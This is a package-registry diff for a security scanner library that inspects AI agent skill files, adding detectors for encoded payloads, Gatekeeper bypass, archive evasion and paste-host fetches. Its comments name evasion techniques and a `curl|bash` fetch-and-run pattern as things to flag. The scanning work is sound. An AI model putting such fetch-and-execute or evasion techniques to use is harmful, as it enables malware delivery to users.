@skillsmith/core 0.11.7 → 0.12.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +210 -0
- package/README.md +7 -8
- package/dist/.tsbuildinfo +1 -1
- package/dist/src/api/client.types.d.ts +9 -0
- package/dist/src/api/client.types.d.ts.map +1 -1
- package/dist/src/api/schemas.d.ts +6 -0
- package/dist/src/api/schemas.d.ts.map +1 -1
- package/dist/src/api/schemas.js +5 -0
- package/dist/src/api/schemas.js.map +1 -1
- package/dist/src/api/security-summary.d.ts +10 -1
- package/dist/src/api/security-summary.d.ts.map +1 -1
- package/dist/src/api/security-summary.js +9 -0
- package/dist/src/api/security-summary.js.map +1 -1
- package/dist/src/api/security-summary.test.js +79 -1
- package/dist/src/api/security-summary.test.js.map +1 -1
- package/dist/src/api/types.d.ts +9 -0
- package/dist/src/api/types.d.ts.map +1 -1
- package/dist/src/config/token-credentials.d.ts +20 -0
- package/dist/src/config/token-credentials.d.ts.map +1 -1
- package/dist/src/config/token-credentials.js +59 -0
- package/dist/src/config/token-credentials.js.map +1 -1
- package/dist/src/config/token-credentials.test.d.ts +3 -0
- package/dist/src/config/token-credentials.test.d.ts.map +1 -1
- package/dist/src/config/token-credentials.test.js +68 -0
- package/dist/src/config/token-credentials.test.js.map +1 -1
- package/dist/src/exports/services.d.ts +1 -1
- package/dist/src/exports/services.d.ts.map +1 -1
- package/dist/src/exports/services.js +3 -1
- package/dist/src/exports/services.js.map +1 -1
- package/dist/src/index.d.ts +3 -3
- package/dist/src/index.d.ts.map +1 -1
- package/dist/src/index.js +3 -3
- package/dist/src/index.js.map +1 -1
- package/dist/src/install/agent-config-merge.json-array.d.ts +8 -0
- package/dist/src/install/agent-config-merge.json-array.d.ts.map +1 -1
- package/dist/src/install/agent-config-merge.json-array.js +22 -2
- package/dist/src/install/agent-config-merge.json-array.js.map +1 -1
- package/dist/src/install/agent-pack-installer.cursor-hooks.d.ts.map +1 -1
- package/dist/src/install/agent-pack-installer.cursor-hooks.js +122 -3
- package/dist/src/install/agent-pack-installer.cursor-hooks.js.map +1 -1
- package/dist/src/install/agent-pack-installer.cursor-hooks.test.js +146 -1
- package/dist/src/install/agent-pack-installer.cursor-hooks.test.js.map +1 -1
- package/dist/src/install/agent-pack-installer.harness.d.ts +8 -0
- package/dist/src/install/agent-pack-installer.harness.d.ts.map +1 -1
- package/dist/src/install/agent-pack-installer.harness.js +8 -1
- package/dist/src/install/agent-pack-installer.harness.js.map +1 -1
- package/dist/src/scripts/__tests__/scan-imported-skills.test.js +25 -0
- package/dist/src/scripts/__tests__/scan-imported-skills.test.js.map +1 -1
- package/dist/src/scripts/skill-scanner/trust-scorer.js +1 -1
- package/dist/src/scripts/skill-scanner/trust-scorer.js.map +1 -1
- package/dist/src/security/scanner/SecurityScanner.archive.d.ts +34 -0
- package/dist/src/security/scanner/SecurityScanner.archive.d.ts.map +1 -0
- package/dist/src/security/scanner/SecurityScanner.archive.js +218 -0
- package/dist/src/security/scanner/SecurityScanner.archive.js.map +1 -0
- package/dist/src/security/scanner/SecurityScanner.compound.d.ts +1 -0
- package/dist/src/security/scanner/SecurityScanner.compound.d.ts.map +1 -1
- package/dist/src/security/scanner/SecurityScanner.compound.js +117 -38
- package/dist/src/security/scanner/SecurityScanner.compound.js.map +1 -1
- package/dist/src/security/scanner/SecurityScanner.d.ts +41 -4
- package/dist/src/security/scanner/SecurityScanner.d.ts.map +1 -1
- package/dist/src/security/scanner/SecurityScanner.decoy.d.ts +72 -0
- package/dist/src/security/scanner/SecurityScanner.decoy.d.ts.map +1 -0
- package/dist/src/security/scanner/SecurityScanner.decoy.js +265 -0
- package/dist/src/security/scanner/SecurityScanner.decoy.js.map +1 -0
- package/dist/src/security/scanner/SecurityScanner.encoding.d.ts +56 -0
- package/dist/src/security/scanner/SecurityScanner.encoding.d.ts.map +1 -0
- package/dist/src/security/scanner/SecurityScanner.encoding.js +270 -0
- package/dist/src/security/scanner/SecurityScanner.encoding.js.map +1 -0
- package/dist/src/security/scanner/SecurityScanner.exec.d.ts +23 -20
- package/dist/src/security/scanner/SecurityScanner.exec.d.ts.map +1 -1
- package/dist/src/security/scanner/SecurityScanner.exec.js +207 -52
- package/dist/src/security/scanner/SecurityScanner.exec.js.map +1 -1
- package/dist/src/security/scanner/SecurityScanner.fetch-correlation.d.ts +115 -0
- package/dist/src/security/scanner/SecurityScanner.fetch-correlation.d.ts.map +1 -0
- package/dist/src/security/scanner/SecurityScanner.fetch-correlation.js +181 -0
- package/dist/src/security/scanner/SecurityScanner.fetch-correlation.js.map +1 -0
- package/dist/src/security/scanner/SecurityScanner.helpers.d.ts +14 -11
- package/dist/src/security/scanner/SecurityScanner.helpers.d.ts.map +1 -1
- package/dist/src/security/scanner/SecurityScanner.helpers.js +26 -124
- package/dist/src/security/scanner/SecurityScanner.helpers.js.map +1 -1
- package/dist/src/security/scanner/SecurityScanner.js +114 -36
- package/dist/src/security/scanner/SecurityScanner.js.map +1 -1
- package/dist/src/security/scanner/SecurityScanner.paste-host.d.ts +69 -0
- package/dist/src/security/scanner/SecurityScanner.paste-host.d.ts.map +1 -0
- package/dist/src/security/scanner/SecurityScanner.paste-host.js +342 -0
- package/dist/src/security/scanner/SecurityScanner.paste-host.js.map +1 -0
- package/dist/src/security/scanner/SecurityScanner.risk-score.d.ts +27 -0
- package/dist/src/security/scanner/SecurityScanner.risk-score.d.ts.map +1 -0
- package/dist/src/security/scanner/SecurityScanner.risk-score.js +178 -0
- package/dist/src/security/scanner/SecurityScanner.risk-score.js.map +1 -0
- package/dist/src/security/scanner/SecurityScanner.urls.d.ts +20 -0
- package/dist/src/security/scanner/SecurityScanner.urls.d.ts.map +1 -0
- package/dist/src/security/scanner/SecurityScanner.urls.js +26 -0
- package/dist/src/security/scanner/SecurityScanner.urls.js.map +1 -0
- package/dist/src/security/scanner/index.d.ts +2 -2
- package/dist/src/security/scanner/index.d.ts.map +1 -1
- package/dist/src/security/scanner/index.js +5 -1
- package/dist/src/security/scanner/index.js.map +1 -1
- package/dist/src/security/scanner/multiline-category-closure.test.js +6 -0
- package/dist/src/security/scanner/multiline-category-closure.test.js.map +1 -1
- package/dist/src/security/scanner/patterns.d.ts +41 -21
- package/dist/src/security/scanner/patterns.d.ts.map +1 -1
- package/dist/src/security/scanner/patterns.exec.d.ts +89 -0
- package/dist/src/security/scanner/patterns.exec.d.ts.map +1 -0
- package/dist/src/security/scanner/patterns.exec.js +115 -0
- package/dist/src/security/scanner/patterns.exec.js.map +1 -0
- package/dist/src/security/scanner/patterns.js +78 -41
- package/dist/src/security/scanner/patterns.js.map +1 -1
- package/dist/src/security/scanner/types.d.ts +15 -1
- package/dist/src/security/scanner/types.d.ts.map +1 -1
- package/dist/src/security/scanner/typosquat.d.ts +10 -0
- package/dist/src/security/scanner/typosquat.d.ts.map +1 -1
- package/dist/src/security/scanner/typosquat.js +5 -1
- package/dist/src/security/scanner/typosquat.js.map +1 -1
- package/dist/src/security/scanner/weights.d.ts +12 -3
- package/dist/src/security/scanner/weights.d.ts.map +1 -1
- package/dist/src/security/scanner/weights.js +50 -1
- package/dist/src/security/scanner/weights.js.map +1 -1
- package/dist/src/services/agent-pack/prompt-source.js +1 -1
- package/dist/src/services/agent-pack/prompt-source.js.map +1 -1
- package/dist/src/services/bundled-sibling-scan.d.ts +87 -13
- package/dist/src/services/bundled-sibling-scan.d.ts.map +1 -1
- package/dist/src/services/bundled-sibling-scan.js +177 -33
- package/dist/src/services/bundled-sibling-scan.js.map +1 -1
- package/dist/src/services/recommend-guard.d.ts.map +1 -1
- package/dist/src/services/recommend-guard.js +8 -1
- package/dist/src/services/recommend-guard.js.map +1 -1
- package/dist/src/services/recommend-guard.test.js +6 -2
- package/dist/src/services/recommend-guard.test.js.map +1 -1
- package/dist/src/sync/index.d.ts +1 -0
- package/dist/src/sync/index.d.ts.map +1 -1
- package/dist/src/sync/index.js +2 -0
- package/dist/src/sync/index.js.map +1 -1
- package/dist/src/sync/license-status-client.d.ts +56 -0
- package/dist/src/sync/license-status-client.d.ts.map +1 -0
- package/dist/src/sync/license-status-client.js +118 -0
- package/dist/src/sync/license-status-client.js.map +1 -0
- package/dist/src/sync/license-status-client.test.d.ts +14 -0
- package/dist/src/sync/license-status-client.test.d.ts.map +1 -0
- package/dist/src/sync/license-status-client.test.js +136 -0
- package/dist/src/sync/license-status-client.test.js.map +1 -0
- package/dist/src/types.d.ts +13 -0
- package/dist/src/types.d.ts.map +1 -1
- package/dist/src/utils/version-check.d.ts +58 -5
- package/dist/src/utils/version-check.d.ts.map +1 -1
- package/dist/src/utils/version-check.js +73 -2
- package/dist/src/utils/version-check.js.map +1 -1
- package/dist/src/utils/version-check.test.js +49 -10
- package/dist/src/utils/version-check.test.js.map +1 -1
- package/dist/tests/SecurityScanner.scoring.test.js +123 -0
- package/dist/tests/SecurityScanner.scoring.test.js.map +1 -1
- package/dist/tests/security/advisory-severity-guard.test.d.ts +20 -0
- package/dist/tests/security/advisory-severity-guard.test.d.ts.map +1 -0
- package/dist/tests/security/advisory-severity-guard.test.js +70 -0
- package/dist/tests/security/advisory-severity-guard.test.js.map +1 -0
- package/dist/tests/security/archive-evasion.test.d.ts +2 -0
- package/dist/tests/security/archive-evasion.test.d.ts.map +1 -0
- package/dist/tests/security/archive-evasion.test.js +126 -0
- package/dist/tests/security/archive-evasion.test.js.map +1 -0
- package/dist/tests/security/clawhavoc-e2e.fixtures.d.ts +71 -0
- package/dist/tests/security/clawhavoc-e2e.fixtures.d.ts.map +1 -0
- package/dist/tests/security/clawhavoc-e2e.fixtures.js +135 -0
- package/dist/tests/security/clawhavoc-e2e.fixtures.js.map +1 -0
- package/dist/tests/security/co-signal-escalation.test.d.ts +30 -0
- package/dist/tests/security/co-signal-escalation.test.d.ts.map +1 -0
- package/dist/tests/security/co-signal-escalation.test.js +494 -0
- package/dist/tests/security/co-signal-escalation.test.js.map +1 -0
- package/dist/tests/security/decoy-misdirection.test.d.ts +2 -0
- package/dist/tests/security/decoy-misdirection.test.d.ts.map +1 -0
- package/dist/tests/security/decoy-misdirection.test.js +130 -0
- package/dist/tests/security/decoy-misdirection.test.js.map +1 -0
- package/dist/tests/security/encoded-payload.test.d.ts +2 -0
- package/dist/tests/security/encoded-payload.test.d.ts.map +1 -0
- package/dist/tests/security/encoded-payload.test.js +199 -0
- package/dist/tests/security/encoded-payload.test.js.map +1 -0
- package/dist/tests/security/gatekeeper-bypass.test.d.ts +2 -0
- package/dist/tests/security/gatekeeper-bypass.test.d.ts.map +1 -0
- package/dist/tests/security/gatekeeper-bypass.test.js +167 -0
- package/dist/tests/security/gatekeeper-bypass.test.js.map +1 -0
- package/dist/tests/security/paste-host-fetch.test.d.ts +2 -0
- package/dist/tests/security/paste-host-fetch.test.d.ts.map +1 -0
- package/dist/tests/security/paste-host-fetch.test.js +199 -0
- package/dist/tests/security/paste-host-fetch.test.js.map +1 -0
- package/dist/tests/security/scanner-regression-guard.test.js +5 -0
- package/dist/tests/security/scanner-regression-guard.test.js.map +1 -1
- package/dist/tests/services/aidefence-feedback.test.js +5 -0
- package/dist/tests/services/aidefence-feedback.test.js.map +1 -1
- package/dist/tests/services/bundled-sibling-scan.test.js +171 -10
- package/dist/tests/services/bundled-sibling-scan.test.js.map +1 -1
- package/dist/tests/skill-scanner/allowlist.test.js +12 -1
- package/dist/tests/skill-scanner/allowlist.test.js.map +1 -1
- package/package.json +2 -2
|
@@ -5,12 +5,27 @@
|
|
|
5
5
|
*/
|
|
6
6
|
import { DEFAULT_ALLOWED_DOMAINS, JAILBREAK_PATTERNS, SUSPICIOUS_PATTERNS, AI_DEFENCE_PATTERNS, } from './patterns.js';
|
|
7
7
|
import { safeRegexTest, safeRegexCheck, MAX_CONTENT_LENGTH_FOR_REGEX } from './regex-utils.js';
|
|
8
|
-
import { analyzeMarkdownContext, isDocumentationContext, isWithinInlineCode,
|
|
8
|
+
import { analyzeMarkdownContext, isDocumentationContext, isWithinInlineCode, scanPatternsWithMultilineSupport, } from './SecurityScanner.helpers.js';
|
|
9
|
+
// SMI-6033 Wave 2 (Gap 4): promoted shared URL extraction (see module header).
|
|
10
|
+
import { extractUrls } from './SecurityScanner.urls.js';
|
|
11
|
+
// SMI-6033 Wave 4: extracted out of SecurityScanner.helpers.ts (500-line gate).
|
|
12
|
+
import { calculateRiskScore } from './SecurityScanner.risk-score.js';
|
|
9
13
|
// Import SSRF scanner
|
|
10
14
|
import { scanSsrfPatterns } from './SecurityScanner.ssrf.js';
|
|
11
15
|
// Import per-category scanners (SMI-5359 Wave 4.2: extracted to keep this file
|
|
12
16
|
// under the 500-line gate; pure functions of content + lineContexts).
|
|
13
17
|
import { scanSensitivePaths, scanSocialEngineering, scanPromptLeaking, scanDataExfiltration, scanPrivilegeEscalation, scanChmodFetchCompound, scanPiiPatterns, } from './SecurityScanner.scanners.js';
|
|
18
|
+
// SMI-6033 Wave 2: xattr Gatekeeper-bypass (Gap 5) — lives alongside
|
|
19
|
+
// scanChmodFetchCompound in the same compound-signal module.
|
|
20
|
+
import { scanGatekeeperBypass } from './SecurityScanner.compound.js';
|
|
21
|
+
// SMI-6033 Wave 2: password-protected archive evasion (Gap 3).
|
|
22
|
+
import { scanArchiveEvasion } from './SecurityScanner.archive.js';
|
|
23
|
+
// SMI-6033 Wave 2: paste/snippet-host reputation + fetch-context escalation (Gap 4).
|
|
24
|
+
import { scanPasteHostFetch } from './SecurityScanner.paste-host.js';
|
|
25
|
+
// SMI-6033 Wave 2 (Gap 2): encoded (base64) payload detect-decode-recursively-rescan.
|
|
26
|
+
import { scanEncodedPayload } from './SecurityScanner.encoding.js';
|
|
27
|
+
// SMI-6033 Wave 4 (Gap 6): decoy/misdirection URL-target heuristic.
|
|
28
|
+
import { scanDecoyMisdirection } from './SecurityScanner.decoy.js';
|
|
14
29
|
// Import code-execution & obfuscated-directive detectors (SMI-5359 Wave 4.2).
|
|
15
30
|
import { scanCodeExecution, scanObfuscatedDirective, escalateCodeExecution, } from './SecurityScanner.exec.js';
|
|
16
31
|
// SMI-5876: evidence-tier classification + corroboration escalation for
|
|
@@ -19,7 +34,7 @@ import { classifyEvidence, escalateCorroboratedMentions } from './SecurityScanne
|
|
|
19
34
|
// Import formatters (used for both re-export and static methods)
|
|
20
35
|
import { toMinimalRefs, toSARIF, toGitHubAnnotations, toSummary, } from './SecurityScanner.formatters.js';
|
|
21
36
|
// Re-export helpers and formatters for public API
|
|
22
|
-
export { analyzeMarkdownContext, isDocumentationContext, isWithinInlineCode, calculateRiskScore, };
|
|
37
|
+
export { analyzeMarkdownContext, isDocumentationContext, isWithinInlineCode, calculateRiskScore, extractUrls, };
|
|
23
38
|
export { scanSsrfPatterns };
|
|
24
39
|
export { toMinimalRefs, toSARIF, toGitHubAnnotations, toSummary };
|
|
25
40
|
export class SecurityScanner {
|
|
@@ -33,18 +48,6 @@ export class SecurityScanner {
|
|
|
33
48
|
this.maxContentLength = options.maxContentLength ?? 1_000_000; // 1MB
|
|
34
49
|
this.riskThreshold = options.riskThreshold ?? 40;
|
|
35
50
|
}
|
|
36
|
-
extractUrls(content) {
|
|
37
|
-
const urlPattern = /https?:\/\/[^\s<>"')\]]+/gi;
|
|
38
|
-
const lines = content.split('\n');
|
|
39
|
-
const results = [];
|
|
40
|
-
lines.forEach((line, index) => {
|
|
41
|
-
let match;
|
|
42
|
-
while ((match = urlPattern.exec(line)) !== null) {
|
|
43
|
-
results.push({ url: match[0], line: index + 1 });
|
|
44
|
-
}
|
|
45
|
-
});
|
|
46
|
-
return results;
|
|
47
|
-
}
|
|
48
51
|
isAllowedDomain(url) {
|
|
49
52
|
try {
|
|
50
53
|
const parsed = new URL(url);
|
|
@@ -57,7 +60,7 @@ export class SecurityScanner {
|
|
|
57
60
|
}
|
|
58
61
|
scanUrls(content) {
|
|
59
62
|
const findings = [];
|
|
60
|
-
const urls =
|
|
63
|
+
const urls = extractUrls(content);
|
|
61
64
|
for (const { url, line } of urls) {
|
|
62
65
|
if (!this.isAllowedDomain(url)) {
|
|
63
66
|
findings.push({
|
|
@@ -143,32 +146,32 @@ export class SecurityScanner {
|
|
|
143
146
|
}
|
|
144
147
|
/** @deprecated Use standalone calculateRiskScore function for new code */
|
|
145
148
|
calculateRiskScore = calculateRiskScore;
|
|
146
|
-
|
|
147
|
-
|
|
149
|
+
/**
|
|
150
|
+
* Run every content-scanning detector against `content` and return the
|
|
151
|
+
* combined findings. Factored out of `scan()` (SMI-6033 Wave 2, Gap 2) so
|
|
152
|
+
* the encoded-payload detector's recursive rescan of DECODED content can
|
|
153
|
+
* reuse the exact same detector suite instead of a parallel, narrower
|
|
154
|
+
* reimplementation.
|
|
155
|
+
*
|
|
156
|
+
* `skipEncodedPayload` is the STRUCTURAL depth-1 recursion guarantee: the
|
|
157
|
+
* recursive callback passed to `scanEncodedPayload` below always calls this
|
|
158
|
+
* method with `skipEncodedPayload: true`, so a base64 blob discovered
|
|
159
|
+
* INSIDE already-decoded content can never itself be decoded — the inner
|
|
160
|
+
* call cannot reach `scanEncodedPayload` again no matter what the decoded
|
|
161
|
+
* text contains. This disables ONLY the encoded-payload detector on the
|
|
162
|
+
* inner call, not the rest of the suite — a decoded `curl|bash` still
|
|
163
|
+
* trips `code_execution`, decoded secrets still trip `sensitive_path`, etc.
|
|
164
|
+
*/
|
|
165
|
+
runDetectors(content, lineContexts, skipEncodedPayload, isHighTrustAuthor = false, isMarkdown = true) {
|
|
148
166
|
const findings = [];
|
|
149
|
-
const lineContexts = analyzeMarkdownContext(content);
|
|
150
|
-
if (content.length > this.maxContentLength) {
|
|
151
|
-
findings.push({
|
|
152
|
-
type: 'suspicious_pattern',
|
|
153
|
-
severity: 'low',
|
|
154
|
-
message: `Content exceeds maximum length (${this.maxContentLength} code units)`,
|
|
155
|
-
});
|
|
156
|
-
}
|
|
157
167
|
// SMI-5881: the multiline (full-content) regex pass has its OWN, much
|
|
158
168
|
// smaller cap than maxContentLength — a ReDoS budget input, not a free
|
|
159
169
|
// parameter (see MAX_CONTENT_LENGTH_FOR_REGEX's own comment for why this
|
|
160
170
|
// isn't simply raised to match maxContentLength). A lower configured
|
|
161
|
-
// maxContentLength tightens this further; it never widens it.
|
|
171
|
+
// maxContentLength tightens this further; it never widens it. Depends
|
|
172
|
+
// only on `this.maxContentLength` (a per-instance constant), so it is
|
|
173
|
+
// safe to recompute per call rather than threading it from `scan()`.
|
|
162
174
|
const effectiveMultilineLimit = Math.min(MAX_CONTENT_LENGTH_FOR_REGEX, this.maxContentLength);
|
|
163
|
-
if (content.length > effectiveMultilineLimit) {
|
|
164
|
-
findings.push({
|
|
165
|
-
type: 'suspicious_pattern',
|
|
166
|
-
severity: 'low',
|
|
167
|
-
message: `Multiline regex scan truncated at ${effectiveMultilineLimit} code units ` +
|
|
168
|
-
`(content is ${content.length} code units; configured maxContentLength is ` +
|
|
169
|
-
`${this.maxContentLength} code units)`,
|
|
170
|
-
});
|
|
171
|
-
}
|
|
172
175
|
findings.push(...this.scanUrls(content));
|
|
173
176
|
findings.push(...scanSensitivePaths(content, lineContexts));
|
|
174
177
|
findings.push(...this.scanJailbreakPatterns(content, lineContexts, effectiveMultilineLimit));
|
|
@@ -186,6 +189,27 @@ export class SecurityScanner {
|
|
|
186
189
|
.filter((f) => f.type === 'privilege_escalation' && f.lineNumber)
|
|
187
190
|
.map((f) => f.lineNumber));
|
|
188
191
|
findings.push(...scanChmodFetchCompound(content, privEscLines, lineContexts));
|
|
192
|
+
// SMI-6033 Wave 2/3 (Gap 5): xattr Gatekeeper-bypass — critical only when
|
|
193
|
+
// correlated with a fetch destination AND the author isn't high-trust
|
|
194
|
+
// (indexer path only; skill_validate never passes isHighTrustAuthor, so
|
|
195
|
+
// it defaults closed and correlated xattr stays always-critical there).
|
|
196
|
+
findings.push(...scanGatekeeperBypass(content, lineContexts, isHighTrustAuthor));
|
|
197
|
+
// SMI-6033 Wave 2 (Gap 3): password-protected archive evasion —
|
|
198
|
+
// correlated + inline-literal-password form is standalone-critical;
|
|
199
|
+
// every other shape (uncorrelated CLI usage, prose-only mention) is
|
|
200
|
+
// medium/advisory.
|
|
201
|
+
findings.push(...scanArchiveEvasion(content, lineContexts));
|
|
202
|
+
// SMI-6033 Wave 2 (Gap 4): paste/snippet-host reputation — a paste-host
|
|
203
|
+
// URL that is the target of a fetch command is standalone-critical; a
|
|
204
|
+
// merely-linked paste-host URL keeps only its existing scanUrls()
|
|
205
|
+
// url:medium finding (this detector adds no finding for that case).
|
|
206
|
+
findings.push(...scanPasteHostFetch(content, lineContexts));
|
|
207
|
+
// SMI-6033 Wave 4 (Gap 6): decoy/misdirection — a fetch target whose
|
|
208
|
+
// domain doesn't match a brand/authority claim made nearby in the
|
|
209
|
+
// skill's own prose. Advisory-only (medium, never high/critical); must
|
|
210
|
+
// run before escalateCodeExecution below since a later dispatch wires
|
|
211
|
+
// this finding type into that co-signal mechanism.
|
|
212
|
+
findings.push(...scanDecoyMisdirection(content, lineContexts));
|
|
189
213
|
findings.push(...this.scanAIDefenceVulnerabilities(content, lineContexts, effectiveMultilineLimit));
|
|
190
214
|
findings.push(...scanSsrfPatterns(content, lineContexts, effectiveMultilineLimit));
|
|
191
215
|
findings.push(...scanPiiPatterns(content, lineContexts));
|
|
@@ -201,10 +225,64 @@ export class SecurityScanner {
|
|
|
201
225
|
// next to a real remote-fetch-to-interpreter is corroborating evidence,
|
|
202
226
|
// not benign prose. MUST run after escalateCodeExecution so a
|
|
203
227
|
// freshly-critical code_execution finding can itself serve as a
|
|
204
|
-
// corroborator (verified:
|
|
228
|
+
// corroborator (verified: CO_SIGNAL_MIN_SEVERITY — SMI-6033 Wave 4's
|
|
229
|
+
// replacement for CODE_EXECUTION_CO_OCCURRENCE — never contains
|
|
205
230
|
// 'jailbreak'/'ai_defence', so this can't create a feedback loop back
|
|
206
231
|
// into escalateCodeExecution's own decision).
|
|
207
232
|
escalateCorroboratedMentions(findings);
|
|
233
|
+
// SMI-6033 Wave 2 (Gap 2): decode-and-recursively-rescan base64 payloads.
|
|
234
|
+
// Appended AFTER this call's own escalation passes above, and the
|
|
235
|
+
// recursive rescan's OWN findings are already fully escalated by its own
|
|
236
|
+
// (inner) call to this same method — so no finding is ever run through
|
|
237
|
+
// escalateCodeExecution/escalateCorroboratedMentions twice.
|
|
238
|
+
if (!skipEncodedPayload) {
|
|
239
|
+
findings.push(...scanEncodedPayload(content, lineContexts, (decodedContent) => this.runDetectors(decodedContent, analyzeMarkdownContext(decodedContent, isMarkdown), true, isHighTrustAuthor, isMarkdown)));
|
|
240
|
+
}
|
|
241
|
+
return findings;
|
|
242
|
+
}
|
|
243
|
+
/**
|
|
244
|
+
* SMI-6033 Wave 3 (Gap 5): `isHighTrustAuthor` (default `false`) is the
|
|
245
|
+
* Gatekeeper-bypass trust-tier carve-out — see `scanGatekeeperBypass`'s own
|
|
246
|
+
* header (`SecurityScanner.compound.ts`) for the full policy. No in-repo
|
|
247
|
+
* caller of this method currently has a verified author signal to pass
|
|
248
|
+
* here (the indexer scans via the edge twin, not this core class); the
|
|
249
|
+
* parameter exists so a future verified-author caller can opt in, and so
|
|
250
|
+
* every existing call site (skill_validate, skill_rescan,
|
|
251
|
+
* bundled-sibling-scan, skill-installation.*) defaults closed by
|
|
252
|
+
* construction, not by convention.
|
|
253
|
+
*
|
|
254
|
+
* SMI-6033 Wave 2 (Gap 8) fix (2026-08-17): `isMarkdown` defaults `true`,
|
|
255
|
+
* preserving byte-identical behavior for every existing caller. Pass
|
|
256
|
+
* `false` when `content` is a real source file, not markdown — see
|
|
257
|
+
* `analyzeMarkdownContext`'s own header (SecurityScanner.helpers.ts) for
|
|
258
|
+
* why the markdown-only indented-code-block heuristic must never apply to
|
|
259
|
+
* non-markdown content. `bundled-sibling-scan.ts`'s
|
|
260
|
+
* `collectExecutableCodeFiles` candidates are the first real caller.
|
|
261
|
+
*/
|
|
262
|
+
scan(skillId, content, isHighTrustAuthor = false, isMarkdown = true) {
|
|
263
|
+
const startTime = performance.now();
|
|
264
|
+
const findings = [];
|
|
265
|
+
const lineContexts = analyzeMarkdownContext(content, isMarkdown);
|
|
266
|
+
if (content.length > this.maxContentLength) {
|
|
267
|
+
findings.push({
|
|
268
|
+
type: 'suspicious_pattern',
|
|
269
|
+
severity: 'low',
|
|
270
|
+
message: `Content exceeds maximum length (${this.maxContentLength} code units)`,
|
|
271
|
+
});
|
|
272
|
+
}
|
|
273
|
+
// SMI-5881: see runDetectors()'s own comment on effectiveMultilineLimit
|
|
274
|
+
// for why this cap is separate from maxContentLength.
|
|
275
|
+
const effectiveMultilineLimit = Math.min(MAX_CONTENT_LENGTH_FOR_REGEX, this.maxContentLength);
|
|
276
|
+
if (content.length > effectiveMultilineLimit) {
|
|
277
|
+
findings.push({
|
|
278
|
+
type: 'suspicious_pattern',
|
|
279
|
+
severity: 'low',
|
|
280
|
+
message: `Multiline regex scan truncated at ${effectiveMultilineLimit} code units ` +
|
|
281
|
+
`(content is ${content.length} code units; configured maxContentLength is ` +
|
|
282
|
+
`${this.maxContentLength} code units)`,
|
|
283
|
+
});
|
|
284
|
+
}
|
|
285
|
+
findings.push(...this.runDetectors(content, lineContexts, false, isHighTrustAuthor, isMarkdown));
|
|
208
286
|
const endTime = performance.now();
|
|
209
287
|
const { total: riskScore, breakdown: riskBreakdown } = calculateRiskScore(findings);
|
|
210
288
|
const hasCritical = findings.some((f) => f.severity === 'critical');
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"SecurityScanner.js","sourceRoot":"","sources":["../../../../src/security/scanner/SecurityScanner.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAGH,OAAO,EACL,uBAAuB,EACvB,kBAAkB,EAClB,mBAAmB,EACnB,mBAAmB,GACpB,MAAM,eAAe,CAAA;AACtB,OAAO,EAAE,aAAa,EAAE,cAAc,EAAE,4BAA4B,EAAE,MAAM,kBAAkB,CAAA;AAI9F,OAAO,EACL,sBAAsB,EACtB,sBAAsB,EACtB,kBAAkB,EAClB,
|
|
1
|
+
{"version":3,"file":"SecurityScanner.js","sourceRoot":"","sources":["../../../../src/security/scanner/SecurityScanner.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAGH,OAAO,EACL,uBAAuB,EACvB,kBAAkB,EAClB,mBAAmB,EACnB,mBAAmB,GACpB,MAAM,eAAe,CAAA;AACtB,OAAO,EAAE,aAAa,EAAE,cAAc,EAAE,4BAA4B,EAAE,MAAM,kBAAkB,CAAA;AAI9F,OAAO,EACL,sBAAsB,EACtB,sBAAsB,EACtB,kBAAkB,EAClB,gCAAgC,GACjC,MAAM,8BAA8B,CAAA;AACrC,+EAA+E;AAC/E,OAAO,EAAE,WAAW,EAAE,MAAM,2BAA2B,CAAA;AACvD,gFAAgF;AAChF,OAAO,EAAE,kBAAkB,EAAE,MAAM,iCAAiC,CAAA;AAEpE,sBAAsB;AACtB,OAAO,EAAE,gBAAgB,EAAE,MAAM,2BAA2B,CAAA;AAE5D,+EAA+E;AAC/E,sEAAsE;AACtE,OAAO,EACL,kBAAkB,EAClB,qBAAqB,EACrB,iBAAiB,EACjB,oBAAoB,EACpB,uBAAuB,EACvB,sBAAsB,EACtB,eAAe,GAChB,MAAM,+BAA+B,CAAA;AAEtC,qEAAqE;AACrE,6DAA6D;AAC7D,OAAO,EAAE,oBAAoB,EAAE,MAAM,+BAA+B,CAAA;AACpE,+DAA+D;AAC/D,OAAO,EAAE,kBAAkB,EAAE,MAAM,8BAA8B,CAAA;AACjE,qFAAqF;AACrF,OAAO,EAAE,kBAAkB,EAAE,MAAM,iCAAiC,CAAA;AACpE,sFAAsF;AACtF,OAAO,EAAE,kBAAkB,EAAE,MAAM,+BAA+B,CAAA;AAClE,oEAAoE;AACpE,OAAO,EAAE,qBAAqB,EAAE,MAAM,4BAA4B,CAAA;AAElE,8EAA8E;AAC9E,OAAO,EACL,iBAAiB,EACjB,uBAAuB,EACvB,qBAAqB,GACtB,MAAM,2BAA2B,CAAA;AAElC,wEAAwE;AACxE,iCAAiC;AACjC,OAAO,EAAE,gBAAgB,EAAE,4BAA4B,EAAE,MAAM,+BAA+B,CAAA;AAE9F,iEAAiE;AACjE,OAAO,EACL,aAAa,EACb,OAAO,EACP,mBAAmB,EACnB,SAAS,GACV,MAAM,iCAAiC,CAAA;AAExC,kDAAkD;AAClD,OAAO,EAEL,sBAAsB,EACtB,sBAAsB,EACtB,kBAAkB,EAClB,kBAAkB,EAClB,WAAW,GACZ,CAAA;AACD,OAAO,EAAE,gBAAgB,EAAE,CAAA;AAC3B,OAAO,EAAE,aAAa,EAAE,OAAO,EAAE,mBAAmB,EAAE,SAAS,EAAE,CAAA;AAEjE,MAAM,OAAO,eAAe;IAClB,cAAc,CAAa;IAC3B,eAAe,CAAU;IACzB,gBAAgB,CAAQ;IACxB,aAAa,CAAQ;IAE7B,YAAY,UAA0B,EAAE;QACtC,IAAI,CAAC,cAAc,GAAG,IAAI,GAAG,CAAC,OAAO,CAAC,cAAc,IAAI,uBAAuB,CAAC,CAAA;QAChF,IAAI,CAAC,eAAe,GAAG,OAAO,CAAC,eAAe,IAAI,EAAE,CAAA;QACpD,IAAI,CAAC,gBAAgB,GAAG,OAAO,CAAC,gBAAgB,IAAI,SAAS,CAAA,CAAC,MAAM;QACpE,IAAI,CAAC,aAAa,GAAG,OAAO,CAAC,aAAa,IAAI,EAAE,CAAA;IAClD,CAAC;IAEO,eAAe,CAAC,GAAW;QACjC,IAAI,CAAC;YACH,MAAM,MAAM,GAAG,IAAI,GAAG,CAA